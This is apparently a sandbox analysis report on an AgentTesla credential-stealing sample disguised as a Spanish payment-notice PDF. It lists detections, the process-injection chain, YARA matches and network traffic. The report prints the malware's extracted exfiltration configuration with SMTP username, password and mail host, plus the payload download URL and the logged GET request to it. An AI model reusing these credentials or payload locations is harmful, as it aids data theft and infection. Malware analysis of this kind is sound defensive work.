Edit tour

Windows Analysis Report
Aviso de pago.pdf____________________________.exe

Overview

General Information

Sample Name:	Aviso de pago.pdf____________________________.exe
Analysis ID:	626184
MD5:	05b6b97166b339557424ca035418a640
SHA1:	e1699c9c10d6807650fcc35fc76c7744deeb16be
SHA256:	6797c9eb17e1ad3b41121bc80db0a97ae642bfca0874c8b7bd391507d2ca5540
Tags:	agentteslaexe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected AgentTesla

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Snort IDS alert for network traffic

Initial sample is a PE file and has a suspicious name

Writes to foreign memory regions

Machine Learning detection for sample

.NET source code contains potential unpacker

Injects a PE file into a foreign processes

Yara detected Generic Downloader

.NET source code contains very large array initializations

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Antivirus or Machine Learning detection for unpacked file

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

PE file contains strange resources

Tries to load missing DLLs

Binary contains a suspicious time stamp

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

Aviso de pago.pdf____________________________.exe (PID: 6232 cmdline: "C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe" MD5: 05B6B97166B339557424CA035418A640)

cmd.exe (PID: 6360 cmdline: "C:\Windows\System32\cmd.exe" /c timeout 15 MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 3024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

timeout.exe (PID: 5836 cmdline: timeout 15 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)

MSBuild.exe (PID: 3272 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe MD5: D621FD77BD585874F9686D3A76462EF1)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Username": "danny@permagraf.com.mx", "Password": "icui4cu2@@", "Host": "mail.permagraf.com.mx"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.480316793.0000000003980000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.480316793.0000000003980000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0000000C.00000000.472348543.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000000.472348543.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0000000C.00000002.626727734.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.626727734.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0000000C.00000000.471775645.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000000.471775645.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0000000C.00000000.472717086.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000000.472717086.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0000000C.00000000.473012111.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000000.473012111.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0000000C.00000002.627763645.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.627763645.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000002.627763645.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x2146:$m1: yyyy-MM-dd hh-mm-ssCookieapplication/zipSCSC_.jpegScreenshotimage/jpeg/log.tmpKLKL_.html<html></html>Logtext/html[]Time 0x2bca:$m3: >{CTRL}</font>Windows RDPcredentialpolicyblobrdgchrome{{{0}}}CopyToComputeHashsha512CopySystemDrive\WScript.ShellRegReadg401 0x2267:$m5: \WindowsLoad%ftphost%/%ftpuser%%ftppassword%STORLengthWriteCloseGetBytesOpera
Process Memory Space: Aviso de pago.pdf____________________________.exe PID: 6232	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: MSBuild.exe PID: 3272	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: MSBuild.exe PID: 3272	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 3272	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x4469:$s1: get_kbok 0x4ce9:$s2: get_CHoo 0x5884:$s3: set_passwordIsSet 0x4315:$s4: get_enableLog 0x377b:$g1: get_Clipboard 0x3789:$g2: get_Keyboard 0x3796:$g3: get_Password 0x4bc3:$g4: get_CtrlKeyDown 0x4bd3:$g5: get_ShiftKeyDown 0x4be4:$g6: get_AltKeyDown 0x19148:$m1: yyyy-MM-dd hh-mm-ssCookieapplication/zipSCSC_.jpegScreenshotimage/jpeg/log.tmpKLKL_.html<html></html>Logtext/html[]Time 0x1b2d5:$m1: yyyy-MM-dd hh-mm-ssCookieapplication/zipSCSC_.jpegScreenshotimage/jpeg/log.tmpKLKL_.html<html></html>Logtext/html[]Time 0x19bcc:$m3: >{CTRL}</font>Windows RDPcredentialpolicyblobrdgchrome{{{0}}}CopyToComputeHashsha512CopySystemDrive\WScript.ShellRegReadg401 0x1bd58:$m3: >{CTRL}</font>Windows RDPcredentialpolicyblobrdgchrome{{{0}}}CopyToComputeHashsha512CopySystemDrive\WScript.ShellRegReadg401 0x19269:$m5: \WindowsLoad%ftphost%/%ftpuser%%ftppassword%STORLengthWriteCloseGetBytesOpera 0x1b3f6:$m5: \WindowsLoad%ftphost%/%ftpuser%%ftppassword%STORLengthWriteCloseGetBytesOpera
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.Aviso de pago.pdf____________________________.exe.39d0120.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Aviso de pago.pdf____________________________.exe.39d0120.4.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.Aviso de pago.pdf____________________________.exe.39d0120.4.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x2e6d4:$s1: get_kbok 0x2f008:$s2: get_CHoo 0x2fc63:$s3: set_passwordIsSet 0x2e4d8:$s4: get_enableLog 0x32b81:$s8: torbrowser 0x3155d:$s10: logins 0x30ed5:$s11: credential 0x2d8c1:$g1: get_Clipboard 0x2d8cf:$g2: get_Keyboard 0x2d8dc:$g3: get_Password 0x2eeb6:$g4: get_CtrlKeyDown 0x2eec6:$g5: get_ShiftKeyDown 0x2eed7:$g6: get_AltKeyDown
12.0.MSBuild.exe.400000.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.0.MSBuild.exe.400000.1.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
12.0.MSBuild.exe.400000.1.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
12.0.MSBuild.exe.400000.1.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x304d4:$s1: get_kbok 0x30e08:$s2: get_CHoo 0x31a63:$s3: set_passwordIsSet 0x302d8:$s4: get_enableLog 0x34981:$s8: torbrowser 0x3335d:$s10: logins 0x32cd5:$s11: credential 0x2f6c1:$g1: get_Clipboard 0x2f6cf:$g2: get_Keyboard 0x2f6dc:$g3: get_Password 0x30cb6:$g4: get_CtrlKeyDown 0x30cc6:$g5: get_ShiftKeyDown 0x30cd7:$g6: get_AltKeyDown
0.2.Aviso de pago.pdf____________________________.exe.39d0120.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.Aviso de pago.pdf____________________________.exe.39d0120.4.raw.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
0.2.Aviso de pago.pdf____________________________.exe.39d0120.4.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Aviso de pago.pdf____________________________.exe.39d0120.4.raw.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x304d4:$s1: get_kbok 0x30e08:$s2: get_CHoo 0x31a63:$s3: set_passwordIsSet 0x302d8:$s4: get_enableLog 0x34981:$s8: torbrowser 0x3335d:$s10: logins 0x32cd5:$s11: credential 0x2f6c1:$g1: get_Clipboard 0x2f6cf:$g2: get_Keyboard 0x2f6dc:$g3: get_Password 0x30cb6:$g4: get_CtrlKeyDown 0x30cc6:$g5: get_ShiftKeyDown 0x30cd7:$g6: get_AltKeyDown
12.0.MSBuild.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.0.MSBuild.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
12.0.MSBuild.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
12.0.MSBuild.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x304d4:$s1: get_kbok 0x30e08:$s2: get_CHoo 0x31a63:$s3: set_passwordIsSet 0x302d8:$s4: get_enableLog 0x34981:$s8: torbrowser 0x3335d:$s10: logins 0x32cd5:$s11: credential 0x2f6c1:$g1: get_Clipboard 0x2f6cf:$g2: get_Keyboard 0x2f6dc:$g3: get_Password 0x30cb6:$g4: get_CtrlKeyDown 0x30cc6:$g5: get_ShiftKeyDown 0x30cd7:$g6: get_AltKeyDown
12.0.MSBuild.exe.400000.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.0.MSBuild.exe.400000.4.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
12.0.MSBuild.exe.400000.4.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
12.0.MSBuild.exe.400000.4.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x304d4:$s1: get_kbok 0x30e08:$s2: get_CHoo 0x31a63:$s3: set_passwordIsSet 0x302d8:$s4: get_enableLog 0x34981:$s8: torbrowser 0x3335d:$s10: logins 0x32cd5:$s11: credential 0x2f6c1:$g1: get_Clipboard 0x2f6cf:$g2: get_Keyboard 0x2f6dc:$g3: get_Password 0x30cb6:$g4: get_CtrlKeyDown 0x30cc6:$g5: get_ShiftKeyDown 0x30cd7:$g6: get_AltKeyDown
12.0.MSBuild.exe.400000.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.0.MSBuild.exe.400000.3.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
12.0.MSBuild.exe.400000.3.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
12.0.MSBuild.exe.400000.3.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x304d4:$s1: get_kbok 0x30e08:$s2: get_CHoo 0x31a63:$s3: set_passwordIsSet 0x302d8:$s4: get_enableLog 0x34981:$s8: torbrowser 0x3335d:$s10: logins 0x32cd5:$s11: credential 0x2f6c1:$g1: get_Clipboard 0x2f6cf:$g2: get_Keyboard 0x2f6dc:$g3: get_Password 0x30cb6:$g4: get_CtrlKeyDown 0x30cc6:$g5: get_ShiftKeyDown 0x30cd7:$g6: get_AltKeyDown
12.2.MSBuild.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.2.MSBuild.exe.400000.0.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
12.2.MSBuild.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
12.2.MSBuild.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x304d4:$s1: get_kbok 0x30e08:$s2: get_CHoo 0x31a63:$s3: set_passwordIsSet 0x302d8:$s4: get_enableLog 0x34981:$s8: torbrowser 0x3335d:$s10: logins 0x32cd5:$s11: credential 0x2f6c1:$g1: get_Clipboard 0x2f6cf:$g2: get_Keyboard 0x2f6dc:$g3: get_Password 0x30cb6:$g4: get_CtrlKeyDown 0x30cc6:$g5: get_ShiftKeyDown 0x30cd7:$g6: get_AltKeyDown
12.0.MSBuild.exe.400000.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
12.0.MSBuild.exe.400000.2.unpack	JoeSecurity_AgentTesla_2	Yara detected AgentTesla	Joe Security
12.0.MSBuild.exe.400000.2.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
12.0.MSBuild.exe.400000.2.unpack	MALWARE_Win_AgentTeslaV3	AgentTeslaV3 infostealer payload	ditekSHen	0x304d4:$s1: get_kbok 0x30e08:$s2: get_CHoo 0x31a63:$s3: set_passwordIsSet 0x302d8:$s4: get_enableLog 0x34981:$s8: torbrowser 0x3335d:$s10: logins 0x32cd5:$s11: credential 0x2f6c1:$g1: get_Clipboard 0x2f6cf:$g2: get_Keyboard 0x2f6dc:$g3: get_Password 0x30cb6:$g4: get_CtrlKeyDown 0x30cc6:$g5: get_ShiftKeyDown 0x30cd7:$g6: get_AltKeyDown
Click to see the 26 entries

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

ETPRO TROJAN Observed Reversed EXE String Inbound (This Program...) - Source IP: 195.133.18.171 - Destination IP: 192.168.2.6

Timestamp:	195.133.18.171192.168.2.680497632848901 05/13/22-17:18:49.165848
SID:	2848901
Source Port:	80
Destination Port:	49763
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 12.0.MSBuild.exe.400000.0.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Username": "danny@permagraf.com.mx", "Password": "icui4cu2@@", "Host": "mail.permagraf.com.mx"}

Multi AV Scanner detection for submitted file

Source: Aviso de pago.pdf____________________________.exe

ReversingLabs: Detection: 24%

Antivirus detection for URL or domain

Source: http://195.133.18.171	Avira URL Cloud: Label: malware
Source: http://195.133.18.171/Znmtganqo_Wvetpunc.jpgT	Avira URL Cloud: Label: malware
Source: http://195.133.18.171/Znmtganqo_Wvetpunc.jpg	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: http://195.133.18.171

Virustotal: Detection: 17%

Perma Link

Machine Learning detection for sample

Source: Aviso de pago.pdf____________________________.exe

Joe Sandbox ML: detected

Source: 12.0.MSBuild.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen8
Source: 12.0.MSBuild.exe.400000.1.unpack	Avira: Label: TR/Spy.Gen8
Source: 12.0.MSBuild.exe.400000.3.unpack	Avira: Label: TR/Spy.Gen8
Source: 12.2.MSBuild.exe.400000.0.unpack	Avira: Label: TR/Spy.Gen8
Source: 12.0.MSBuild.exe.400000.2.unpack	Avira: Label: TR/Spy.Gen8
Source: 12.0.MSBuild.exe.400000.4.unpack	Avira: Label: TR/Spy.Gen8

Source: Aviso de pago.pdf____________________________.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: Aviso de pago.pdf____________________________.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA

Source:	Binary string: protobuf-net.pdbSHA256 source: Aviso de pago.pdf____________________________.exe, 00000000.00000002.481679330.0000000005920000.00000004.08000000.00040000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000003.468729915.00000000081F4000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480672047.0000000003B3F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Aviso de pago.pdf____________________________.exe, 00000000.00000002.481679330.0000000005920000.00000004.08000000.00040000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000003.468729915.00000000081F4000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480672047.0000000003B3F000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 7FFFFFFFh
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 7FFFFFFFh
Source: C:\Users\user\Desktop\Aviso de pago.pdf____________________________.exe	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2848901 ETPRO TROJAN Observed Reversed EXE String Inbound (This Program...) 195.133.18.171:80 -> 192.168.2.6:49763

Yara detected Generic Downloader

Source: Yara match	File source: 12.0.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Aviso de pago.pdf____________________________.exe.39d0120.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.MSBuild.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.MSBuild.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.0.MSBuild.exe.400000.2.unpack, type: UNPACKEDPE

Source: Joe Sandbox View

ASN Name: AS-REGRU AS-REGRU

Source: global traffic

HTTP traffic detected: GET /Znmtganqo_Wvetpunc.jpg HTTP/1.1Host: 195.133.18.171Connection: Keep-Alive

Source: Joe Sandbox View

IP Address: 195.133.18.171 195.133.18.171

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.133
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.3
Source: unknown	TCP traffic detected without corresponding DNS query: 195.133.18.171
Source: unknown	TCP traffic detected without corresponding DNS query: 195.133.18.171
Source: unknown	TCP traffic detected without corresponding DNS query: 195.133.18.171
Source: unknown	TCP traffic detected without corresponding DNS query: 195.133.18.171
Source: unknown	TCP traffic detected without corresponding DNS query: 195.133.18.171
Source: unknown	TCP traffic detected without corresponding DNS query: 195.133.18.171
Source: unknown	TCP traffic detected without corresponding DNS query: 195.133.18.171
Source: unknown	TCP traffic detected without corresponding DNS query: 195.133.18.171
Source: unknown	TCP traffic detected without corresponding DNS query: 195.133.18.171
Source: unknown	TCP traffic detected without corresponding DNS query: 195.133.18.171
Source: unknown	TCP traffic detected without corresponding DNS query: 195.133.18.171
Source: unknown	TCP traffic detected without corresponding DNS query: 195.133.18.171
Source: unknown	TCP traffic detected without corresponding DNS query: 195.133.18.171
Source: unknown	TCP traffic detected without corresponding DNS query: 195.133.18.171
Source: unknown	TCP traffic detected without corresponding DNS query: 195.133.18.171
Source: unknown	TCP traffic detected without corresponding DNS query: 195.133.18.171
Source: unknown	TCP traffic detected without corresponding DNS query: 195.133.18.171
Source: unknown	TCP traffic detected without corresponding DNS query: 195.133.18.171
Source: unknown	TCP traffic detected without corresponding DNS query: 195.133.18.171
Source: unknown	TCP traffic detected without corresponding DNS query: 195.133.18.171
Source: unknown	TCP traffic detected without corresponding DNS query: 195.133.18.171
Source: unknown	TCP traffic detected without corresponding DNS query: 195.133.18.171

Source: MSBuild.exe, 0000000C.00000002.627763645.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: Aviso de pago.pdf____________________________.exe, 00000000.00000002.475264480.00000000028D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.133.18.171
Source: Aviso de pago.pdf____________________________.exe	String found in binary or memory: http://195.133.18.171/Znmtganqo_Wvetpunc.jpg
Source: Aviso de pago.pdf____________________________.exe, 00000000.00000002.475264480.00000000028D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.133.18.171/Znmtganqo_Wvetpunc.jpgT
Source: MSBuild.exe, 0000000C.00000002.627763645.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: MSBuild.exe, 0000000C.00000002.627763645.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://WPfLXV.com
Source: Aviso de pago.pdf____________________________.exe, 00000000.00000002.475264480.00000000028D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Aviso de pago.pdf____________________________.exe, 00000000.00000002.481679330.0000000005920000.00000004.08000000.00040000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000003.468729915.00000000081F4000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480672047.0000000003B3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: Aviso de pago.pdf____________________________.exe, 00000000.00000002.481679330.0000000005920000.00000004.08000000.00040000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000003.468729915.00000000081F4000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480672047.0000000003B3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: Aviso de pago.pdf____________________________.exe, 00000000.00000002.481679330.0000000005920000.00000004.08000000.00040000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000003.468729915.00000000081F4000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480672047.0000000003B3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: Aviso de pago.pdf____________________________.exe, 00000000.00000002.481679330.0000000005920000.00000004.08000000.00040000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000003.468729915.00000000081F4000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480672047.0000000003B3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: Aviso de pago.pdf____________________________.exe, 00000000.00000003.468729915.00000000081F4000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480672047.0000000003B3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: Aviso de pago.pdf____________________________.exe, 00000000.00000002.481679330.0000000005920000.00000004.08000000.00040000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480672047.0000000003B3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: Aviso de pago.pdf____________________________.exe, 00000000.00000002.480316793.0000000003980000.00000004.00000800.00020000.00000000.sdmp, Aviso de pago.pdf____________________________.exe, 00000000.00000002.480388373.00000000039D0000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000C.00000000.472348543.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip
Source: MSBuild.exe, 0000000C.00000002.627763645.0000000002B11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha

Source: global traffic

HTTP traffic detected: GET /Znmtganqo_Wvetpunc.jpg HTTP/1.1Host: 195.133.18.171Connection: Keep-Alive

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.Aviso de pago.pdf____________________________.exe.39d0120.4.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 12.0.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
